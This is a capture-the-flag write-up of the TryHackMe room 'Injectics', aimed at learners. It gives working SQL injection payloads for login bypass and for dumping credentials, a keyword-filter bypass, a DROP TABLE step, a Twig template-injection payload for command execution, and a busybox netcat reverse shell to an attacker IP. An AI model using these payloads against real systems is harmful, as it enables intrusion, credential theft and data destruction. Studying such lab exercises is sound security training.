# Injectics

{% embed url="<https://tryhackme.com/r/room/injectics>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We start with a Nmap scan and find only two open ports, `22` on which SSH is running and a web server on port `80`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSY3bMgb8OXZHNEEtnLYM%2Fgrafik.png?alt=media&#x26;token=967166fb-ba10-4484-a2dc-eafc9358d505" alt=""><figcaption></figcaption></figure>

On the page we find an allusion to the Olympic Games, only this is the Injectics. The games of injections, nice :D.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZxsAn6aX7H8uw05jnYpi%2Fgrafik.png?alt=media&#x26;token=12c5432c-8645-43fa-bb11-ae27ca11b7c5" alt=""><figcaption></figcaption></figure>

There is one login form, from which another admin login is possible.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQhAOmdPrVoyOFfJc1m0i%2Fgrafik.png?alt=media&#x26;token=7bb074e7-9261-4001-bf61-bbf04609ce00" alt=""><figcaption></figcaption></figure>

The following shows the admin log in.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fj3i1afToMfpG3tGaQXj5%2Fgrafik.png?alt=media&#x26;token=636c8484-f178-4b07-9dee-2f3dfacc0a90" alt=""><figcaption></figcaption></figure>

## Surpass Login

When testing both forms for SQL injection, the former is the normal login conspicuous. This gets an error when entering the special character `'`. We use Burp Suite, because the client-side filter excludes the use of special characters.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FaBsNyzkYzWbPWh5xScPy%2Fgrafik.png?alt=media&#x26;token=4ab733b8-2f16-4cac-ba8c-e94a4aea28ce" alt=""><figcaption></figcaption></figure>

We use the following payload list of HackTricks to test for possible SQL injections.

{% embed url="<https://github.com/HackTricks-wiki/hacktricks/blob/master/pentesting-web/login-bypass/sql-login-bypass.md>" %}

We use FFuF to try them out and filter the results with error message containing `num_rows` or no change at all. We have a variety of hits but choose the first one `' OR 'x'='x'#;`.

```bash
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/injectics]
└─$ ffuf -w sql-login-bypass.md -X POST -u http://injectics.thm/functions.php -d 'username=FUZZ&password=asdf&function=login' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -fr 'num_rows' -fw 4
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FR1hfTIoyDJeC7tWH1Qtr%2Fgrafik.png?alt=media&#x26;token=bc4dfece-6b72-4970-b1a3-9826a56f606c" alt=""><figcaption></figcaption></figure>

We pass this URL encoded via Burp Suite because of the said filter. We intercept a login request, manipulate it (`username=' OR 'x'='x'#;`), forward this and the subsequent requests and are redirected to `/dashboard.php`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpQX0EedWVm0MO89sZrRB%2Fgrafik.png?alt=media&#x26;token=fbef523e-fc5b-4e2b-92e1-51c876aed2bf" alt=""><figcaption></figcaption></figure>

On the dashboard, we have the possibility to edit the ranking list.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6AHigNxFWougcKKiOswF%2Fgrafik.png?alt=media&#x26;token=99e73e46-85ef-40ea-b639-77b4ff200d7a" alt=""><figcaption></figcaption></figure>

## Admin Access

### Initial Solution

Let's take a closer look at editing via `/edit_leaderboard.php`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FeQhjJXmTbYGASglDlXFd%2Fgrafik.png?alt=media&#x26;token=05cfa15a-6574-4f12-9775-829e80dc8a14" alt=""><figcaption></figcaption></figure>

We are able to execute stacked queries.

A stacked query attack involves injecting a payload that includes multiple SQL statements separated by a semicolon (`;`). This allows the attacker to execute multiple queries in a single execution context.

We assume that the table is called leaderboard. We get the parameters from the URL. Using our stacked query, we can now rewrite the country field. This means that we can write information that we want to enumerate from the database into the country field in order to exfiltrate it.

```
9;UPDATE leaderboard SET country='0xb0b' where country='USA';
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FiFn0Z42kplOIwcgErFGH%2Fgrafik.png?alt=media&#x26;token=633e0515-4823-4b5f-9be4-3d92098b0a18" alt=""><figcaption></figcaption></figure>

At first, we will limit ourselves to one field, later we will just use all fields, otherwise it would be too time-consuming to always determine the content of the field. We can determine the version of the database.

```
1337;UPDATE leaderboard SET country=@@version where country='0xb0b';
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FN7w6LtHqSyIDw8oFROTK%2Fgrafik.png?alt=media&#x26;token=0b2ed7f0-432d-4af4-9534-25dccd139b6d" alt=""><figcaption></figcaption></figure>

Version of DB:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpHYGlMFy4Vo5g7K5ZxNy%2Fgrafik.png?alt=media&#x26;token=5b365099-770b-4151-adde-576c949efe3c" alt=""><figcaption></figcaption></figure>

We can determine the current database, we need to enumerate the entire schema.

```
1;UPDATE leaderboard SET country=concat(DATABASE()) where country='8.0.37-0ubuntu0.20.04.3';
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FLin474nV24tMfX6hVLhq%2Fgrafik.png?alt=media&#x26;token=6048f8e7-c259-46ef-9ccc-b1032234018d" alt=""><figcaption></figcaption></figure>

Current DB is `bac_test`:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F59XgKy8y2TU5DlQGySdA%2Fgrafik.png?alt=media&#x26;token=dc538c81-a140-422b-83e1-9119ac33d89e" alt=""><figcaption></figcaption></figure>

However, when trying to retrieve information from `information_schema`, nothing was found.

```
1;UPDATE leaderboard SET country=concat((SELECT group_concat(table_name)FROM information_schema.tables WHERE table_schema=database())) where country='bac_test';
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FK1dkMLJVEJOmSo8ZFFxP%2Fgrafik.png?alt=media&#x26;token=227db623-62d1-4195-afd3-7c56644c2ea7" alt=""><figcaption></figcaption></figure>

The field remains unchanged.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBg5r9NEkh8zlhUCHBV5k%2Fgrafik.png?alt=media&#x26;token=e9db9672-8c09-4b60-80c2-51cece538e6a" alt=""><figcaption></figcaption></figure>

A filter seems to be active, this has already been noticed before, but was not taken into account at first. When testing the SQL injection, I wanted to reset the table to its origin because I always worked row by row. Something special happened with the wirting the name `Korea`. When trying to write this country into the table, only `Kea` was written. So the `OR` is cut out before the SQL evaluation. At first, I didn't think anything of it. But the word `inf`**`or`**`mation_schema` also contains an `or`.

```
1;UPDATE leaderboard SET country='Korea' where country='bac_test';
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FW4wy1CPbz4cXw3CcqLmW%2Fgrafik.png?alt=media&#x26;token=0ee2e665-a714-4f42-9358-c042bad0cdca" alt=""><figcaption></figcaption></figure>

Result of changing to the name `Korea:`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSb0WMXGlYUddwLjXLZc8%2Fgrafik.png?alt=media&#x26;token=52bd10f3-107e-464e-96da-4f3e547e50ae" alt=""><figcaption></figcaption></figure>

There may be more SQL keywords filtered. Let's try it first with `SELECT,` `FROM,` `OR,` and `information_schema.` (FROM should work, as we have already used this successfully). And we see that `SELECT` and the `or` are deleted from `information_schema` becomes `infmation_schema`. I have not shown the payload input in the screenshots below, as it would otherwise be too much.

```
1;UPDATE leaderboard SET country=concat('SELECT',' ','FROM',' ','OR',' ','information_schema',' ');
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fa29Uz4rki7eGnn0AEKNN%2Fgrafik.png?alt=media&#x26;token=491bed59-4998-4eab-9e9b-569777523344" alt=""><figcaption></figcaption></figure>

Ok, how can we work around this. If the words are deleted as a whole, `SSELECTELECT` could become `SELECT` again: `S[SELECT]ELECT`&#x20;

This would then only have to be evaluated, let's hope. To check our bypasses, we write these `OORR` and `SSELECTELECT` in the country field. And they are filtered as expected.

```
1;UPDATE leaderboard SET country=concat('SSELECTELECT',' ','OORR');
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhRGUq3IT1FE9kUErIg5f%2Fgrafik.png?alt=media&#x26;token=78bc0630-8c99-4be7-a28f-53db8a3c0544" alt=""><figcaption></figcaption></figure>

We are now adapting our previously failed query. `SELECT` becomes `SSELECTELECT` and `information_schema` becomes `infoorrmation_schema`. We are now able to enumerate the tables. We have the tables l`eaderboard` and `users`.

```
1;UPDATE leaderboard SET country=concat((SSELECTELECT group_concat(table_name)FROM infoorrmation_schema.tables WHERE table_schema=database()));
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2NVEHEJxIGpFUN7u6gSU%2Fgrafik.png?alt=media&#x26;token=e41e0911-a103-4d0a-9025-a26921ef548b" alt=""><figcaption></figcaption></figure>

The users table has the fields `email` and `password`, among others:

```
1;UPDATE leaderboard SET country=concat((SSELECTELECT group_concat(column_name) FROM infoorrmation_schema.columns WHERE table_name='users'));
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fs2i1yonlejZSd60iELjA%2Fgrafik.png?alt=media&#x26;token=a3c2f333-9d52-4474-9fc3-e2605eb466bb" alt=""><figcaption></figcaption></figure>

The contents of these fields are now obtained using the following query (Here, too, we have to adjust the password field for the filter.):

```
1;UPDATE leaderboard SET country=concat((SSELECTELECT group_concat(email,passwoorrd) FROM users));
```

We are able to extract the credentials of two users. For `dev@injects.thm` and `superadmin@injectics.thm`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnqXCWJ6vDPUWNxVGJq80%2Fgrafik.png?alt=media&#x26;token=52bf2851-aeaf-425d-b5b4-607a79ddf99b" alt=""><figcaption></figcaption></figure>

We use the credentials from `superadmin@injectics.thm` to log in to a`dminlogin /adminLogin007.php`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5eo5zThTjzZiLEhZK0bq%2Fgrafik.png?alt=media&#x26;token=ec6da5f4-3f43-4833-8c00-6cefee29b835" alt=""><figcaption></figcaption></figure>

A redirection to the dashboard takes place, but this time we find the first flag there.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FbkdsWpI2dpUjP2CTEFH5%2Fgrafik.png?alt=media&#x26;token=03cd75d8-db24-471a-89ce-9eff70e88d4a" alt=""><figcaption></figcaption></figure>

### Alternative Solution

This solution completely escaped me and shows how important it is to enumerate at the beginning. Many thanks to h00dy, we had discussed our solutions, and he showed me this one.&#x20;

Don't miss out on his content:&#x20;

{% embed url="<https://www.youtube.com/@hoodietramp>" %}

There is a `mail.log`, with a crucial hint.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOIDwDwkP5LKmiQOleemY%2Fgrafik.png?alt=media&#x26;token=fa617a01-e944-4232-b403-e886a8400a41" alt=""><figcaption></figcaption></figure>

If the users table is ever deleted or corrupted, it will be filled with the default credentials from the mail.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FlCTncIQjPxJGR42Wqwgb%2Fgrafik.png?alt=media&#x26;token=386fcaf6-e9f7-4291-83ec-da9a51d17104" alt=""><figcaption></figcaption></figure>

So just drop the users table, and we can then use the default credentials found to log in to the admin portal and get the first flag.

```
1; DROP TABLE users;
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNhGVnctGkVlmwXoT0NFt%2Fgrafik.png?alt=media&#x26;token=7e0c5e0d-506b-47aa-9d52-9a363c790f92" alt=""><figcaption></figcaption></figure>

## Foothold

At the Profile page, we can now customize our `first` and `last name`. The `email` cannot be changed. No payloads for SQL injection apply here.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOAJdpUPgHwhI1u7PhSS6%2Fgrafik.png?alt=media&#x26;token=90c73e75-a5fd-45be-a9ac-cf66192ba8bc" alt=""><figcaption></figcaption></figure>

What we do see, however, is that the first name is reflected on the dashboard. This could possibly be an SSTI.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGKJtYjBCU4B1qozxDiXB%2Fgrafik.png?alt=media&#x26;token=adae3ed8-9b39-4612-9c4f-5a61843e2c4a" alt=""><figcaption></figcaption></figure>

We try the SSTI payload `{{7*7}}` to determine whether it is actually an SSTI.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FihUSIrmPzlrL0vMyK1vl%2Fgrafik.png?alt=media&#x26;token=8b9aa2ac-7175-4711-83eb-440b3777f318" alt=""><figcaption></figcaption></figure>

And this is also evaluated. SSTI is possible!

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFI4Ir1ZgGvEFMRdHZnFe%2Fgrafik.png?alt=media&#x26;token=2363a4ce-e144-4508-acf4-c54dcdaefd49" alt=""><figcaption></figcaption></figure>

The following resource provides helpful information for discovering SSTI and determining the template engine.

{% embed url="<https://chinnidiwakar.gitbook.io/githubimport/pentesting-web/ssti-server-side-template-injection>" %}

Don't miss out on the following resource too, but twig is not covered there:

{% embed url="<https://tryhackme.com/r/room/serversidetemplateinjection>" %}

Using the following tree, we can see how we can determine the engine. Since `{{7*7}}` was evaluated, this could be `Jinja`2, `Twig` or Unknown. Since we know that it is a PHP server, it will probably be twig, but it could also be an engine that is not vulnerable or unknown.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FLeNBRFcOk8WlUdF7neXa%2Fgrafik.png?alt=media&#x26;token=d168a53f-8a5d-42b2-9592-662ba6966fbf" alt=""><figcaption></figcaption></figure>

We try the `{{7*'7'}}` payload and...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1OqsJnM8OuTYfGnNL91y%2Fgrafik.png?alt=media&#x26;token=6d3aebf3-0db9-4741-995b-bf4e54ed3c73" alt=""><figcaption></figcaption></figure>

... it gets evaluated, it is very likely `twig`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBh4mcy8NEY37WE8DFIiY%2Fgrafik.png?alt=media&#x26;token=28026403-0bcb-43a3-8a94-a00414002189" alt=""><figcaption></figcaption></figure>

At `PayloadsAllTheThings` we find a number of payloads that we can test, but none of them seem to work:

[https://github.com/swisskyderepo/PayloadsAllTheThings/tree/master/Server Side Template Injection#twig---code-execution](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig---code-execution)&#x20;

passthru does not seem to be filtered, but the filter function seems to be anonymized because we are in a sandbox.

```
{{['id']|filter('passthru')}}
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FiDLsaHEHhCiqqd3hCJmC%2Fgrafik.png?alt=media&#x26;token=d1616ffb-488c-4395-89f6-dcd53b8bc1f5" alt=""><figcaption></figcaption></figure>

On HackTricks we find other payloads that also do not work, but here the function `sort` for system is still used.

{% embed url="<https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#twig-php>" %}

By combining the two, we get a payload that works:

```
{{['id','']|sort('passthru')}}
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FO8oiuXiq4Cd3H8hjy4wO%2Fgrafik.png?alt=media&#x26;token=212e7922-97fc-46c2-b503-e504f841c8b9" alt=""><figcaption></figcaption></figure>

So we can execute system commands, nice. Now we just need a reverse shell. We set a listener to `4445` on `nc -lnvp 4445` and use my favorite reverse shell via busybox.

```
{{['busybox nc 10.8.211.1 4445 -e /bin/bash','']|sort('passthru')}}
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1vWktKNomwpQgmqjqjUa%2Fgrafik.png?alt=media&#x26;token=2ca2d626-c692-4258-8d90-1fd2ee514d9d" alt=""><figcaption></figcaption></figure>

After we have set the payload and reloaded the dashboard,...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGG5xBCYbbL9PiOJFBhV2%2Fgrafik.png?alt=media&#x26;token=bebcea08-f461-4640-8eb2-d6b4a1c970e7" alt=""><figcaption></figcaption></figure>

...we get a connection, we are `www-data` and can read the second falg at `/var/www/html/flags/.txt`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FS5A79ZBdblLhQZRrRbdS%2Fgrafik.png?alt=media&#x26;token=d83c6f59-e95d-4b76-8f55-1f4783849aa7" alt=""><figcaption></figcaption></figure>
